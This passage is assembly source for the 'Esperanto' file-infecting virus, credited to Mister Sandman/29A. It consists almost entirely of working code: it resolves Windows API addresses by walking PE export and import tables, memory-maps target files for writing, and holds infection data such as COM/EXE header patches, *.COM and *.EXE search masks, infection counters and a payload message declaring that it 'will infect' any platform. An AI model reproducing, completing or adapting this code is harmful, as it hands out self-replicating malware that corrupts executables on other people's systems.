eax,'EP' jne gpa_aborted ; Everything ok, now let's get a pointer ; to the image export directory and push ; it onto the stack for later use add esi,NT_OptionalHeader\ .OH_DirectoryEntries\ .DE_Export\ .DD_VirtualAddress-4 lodsd add eax,ebx push eax ; Get also a pointer to the table of the ; names of exported functions and to their ; corresponding ordinals or addresses mov ecx,dword ptr [eax+ED_NumberOfNames] mov edx,dword ptr [eax+ED_AddressOfNameOrdinals] add edx,ebx lea esi,dword ptr [eax+ED_AddressOfNames] lodsd add eax,ebx ; Now look for "GetProcAddress" thru the ; array of names of exported API functions search_name: push ecx lea esi,dword ptr [ebp+gpaddress_n] mov edi,dword ptr [eax] or edi,edi jz next_name ; Compare the strings mov ecx,0eh add edi,ebx repe cmpsb je name_found ; Not found, go to next name next_name: add eax,4 add edx,2 pop ecx loop search_name ; In case it was not found, jump to the ; error routine and stop the functioning pop eax jmp gpa_aborted ; The "GetProcAddress" string was found, ; and EDX is the index of the function, ; so now we have to look for the ordinal ; using the mentioned index in EDX, and ; check if it is out of range name_found: pop ecx edi movzx eax,word ptr [edx] cmp eax,dword ptr [edi+ED_NumberOfFunctions] jae gpa_aborted ; This is the starting ordinal number sub eax,dword ptr [edi+ED_BaseOrdinal] inc eax shl eax,2 ; Finally, get address of function and jump ; back to the main routine, in order to look ; for the addresses of other needed APIs mov esi,dword ptr [edi+ED_AddressOfFunctions] add esi,eax add esi,ebx lodsd add eax,ebx pop ebx jmp gpadd_found ; In case there was an error, stop running ; and jump to the original entry point gpa_aborted: pop ebx popad ret ; ÄÄ´ Map a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ WFD_szFileName => file to memory-map ; ;  Exit: ; þ EBX => handle of memory-mapped file ; Open existing file open_map_file: push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push 0 push GENERIC_READ or GENERIC_WRITE lea eax,dword ptr [ebp+finddata+WFD_szFileName] push eax lea eax,dword ptr [ebp+createfile_a] call dword ptr [eax] or eax,eax jz exit_mapping ; Create file-mapping for it mov dword ptr [ebp+crfhandle],eax push 0 push dword ptr [ebp+finddata+WFD_nFileSizeLow] push 0 push PAGE_READWRITE push 0 push dword ptr [ebp+crfhandle] lea eax,dword ptr [ebp+cfmapping_a] call dword ptr [eax] or eax,eax jz close_handle ; Map file in memory, get base address mov dword ptr [ebp+maphandle],eax push dword ptr [ebp+finddata+WFD_nFileSizeLow] push 0 push 0 push FILE_MAP_WRITE push dword ptr [ebp+maphandle] lea eax,dword ptr [ebp+mapview_a] call dword ptr [eax] xchg ebx,eax or ebx,ebx jz close_mapping ret ; ÄÄ´ Unmap a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ EBX => handle of memory-mapped file ; ;  Exit: ; þ EBX => null, file unmapped ; Unmap view of file unmap_close: xchg ebx,eax push eax lea eax,dword ptr [ebp+unmapview_a] call dword ptr [eax] ; Close handle created by CreateFileMappingA close_mapping: push dword ptr [ebp+maphandle] lea eax,dword ptr [ebp+closehandle_a] call dword ptr [eax] ; Close handle created by CreateFileA close_handle: push dword ptr [ebp+crfhandle] lea eax,dword ptr [ebp+closehandle_a] call dword ptr [eax] ; And leave with EBX = 0 exit_mapping: xor ebx,ebx ret ; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ EDX => Section ëelta-offset ; þ ESI => Import address table for KERNEL32.DLL ; þ EDI => Given API name to look for ; ;  Exit: ;  EAX => RVA of the given API, or 0 if error ; Look for a given API (in EDI) whose RVA we ; are looking for by means of the structure ; IMAGE_IMPORT_BY_NAME, pointed by every dword ; in the thunk data array. First step consists ; on looking for its address (in ESI) look4name: lodsd or eax,eax jz inp_not_found ; Once found, we get a pointer to the first ; function name of this structure, and compare ; it with the name of the API we look for push esi edi sub eax,edx lea esi,dword ptr [eax+ebx+2] name_by_name: lodsb or al,al jz input_found scasb je name_by_name pop edi esi jmp look4name ; In case names match, we go and get the ; RVA of the function we've just found in ; the IAT. Otherwise we keep on searching input_found: pop edi esi lea eax,dword ptr [esi-4] sub eax,ebx add eax,edx ret ; If we couldn't find the RVA of the API, ; then we return with EAX equal to zero inp_not_found: xor eax,eax ret ; Í͹ Data area for the Intel modules ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ text_start label byte virus_author db '[Esperanto, by Mister Sandman/29A]',0 virus_text db 'Never mind your culture / Ne gravas via kulturo,',0dh,0ah db 'Esperanto will go beyond it / Esperanto preterpasos gxin;',0dh,0ah db 'never mind the differences / ne gravas la diferencoj,',0dh,0ah db 'Esperanto will overcome them / Esperanto superos ilin.',0dh,0ah db 0dh,0ah db 'Never mind your processor / Ne gravas via procesoro,',0dh,0ah db 'Esperanto will work in it / Esperanto funkcios sub gxi;',0dh,0ah db 'never mind your platform / Ne gravas via platformo,',0dh,0ah db 'Esperanto will infect it / Esperanto infektos gxin.',0dh,0ah db 0dh,0ah db 'Now not only a human language, but also a virus...',0dh,0ah db 'Turning impossible into possible, Esperanto.',0dh,0ah,0 text_end label byte api_names label byte dd offset createfile_n dd offset cfmapping_n dd offset mapview_n dd offset unmapview_n dd offset closehandle_n dd offset findfirst_n dd offset findnext_n dd offset findclose_n dd offset loadlibrary_n dd offset glocaltime_n api_names_end label byte kernel32_n db 'KERNEL32.DLL',0 user32_n db 'USER32.DLL',0 gmhandle_n db 'GetModuleHandleA',0 gpaddress_n db 'GetProcAddress',0 messagebox_n db 'MessageBoxA',0 createfile_n db 'CreateFileA',0 cfmapping_n db 'CreateFileMappingA',0 mapview_n db 'MapViewOfFile',0 unmapview_n db 'UnmapViewOfFile',0 closehandle_n db 'CloseHandle',0 findfirst_n db 'FindFirstFileA',0 findnext_n db 'FindNextFileA',0 findclose_n db 'FindClose',0 loadlibrary_n db 'LoadLibraryA',0 glocaltime_n db 'GetLocalTime',0 reloc_start label byte dw 1 db 3 db 4 dw offset newexe_ip old_ne_cs dw ? old_ne_ip dw ? reloc_end label byte file_flag db 'C' inf_timer db ? inf_counter db ? exe_cs dw 0fff0h exe_ip dw ? exe_ss dw ? exe_sp dw ? new_com_header db 0e9h,?,?,';',')' old_com_header db 0cdh,20h,90h,90h,90h wildcard db '*.*',0 com_wildcard db '*.COM',0 exe_wildcard db '*.EXE',0 res_name_size dc.b #$4 resource_name dc.l #'MDEF' rels_in_file dc.w #$0 resource_size dc.w #$espo_file_size dist_to_res dc.w #$espo_file_size espo_file_end label byte include win32api.inc include pe.inc include mz.inc kernel32_a dd ? user32_a dd ? gmhandle_a dd ? gpaddress_a dd ? api_addresses label byte createfile_a dd ? cfmapping_a dd ? mapview_a dd ? unmapview_a dd ? closehandle_a dd ? findfirst_a dd ? findnext_a dd ? findclose_a dd ? loadlibrary_a dd ? glocaltime_a dd ? api_addr_end label byte time_table label byte system_year dw ? system_month dw ? system_week dw ? system_day dw ? system_hour dw ? system_minute dw ? system_second dw ? system_milsec dw ? time_table_end label byte crfhandle dd ? maphandle dd ? srchandle dd ? max_path_size db ? finddata db SIZEOF_WIN32_FIND_DATA dup (?) winexe_data label byte winexe_offset dw ? align_shift db ? newexe_size dw ? last_newexe dw ? lseek_newexe dw ? lseek_add dw ? stupid_face db '' ; Ain't it charming? :) file_or_mem db 'F' file_offset dw ? dot_xy dw ? rawdata_ptr dd ? thunk_offset dd ? filename db 4ch dup (?) old_exe_header db 1000h dup (?) espo_mem_end label byte end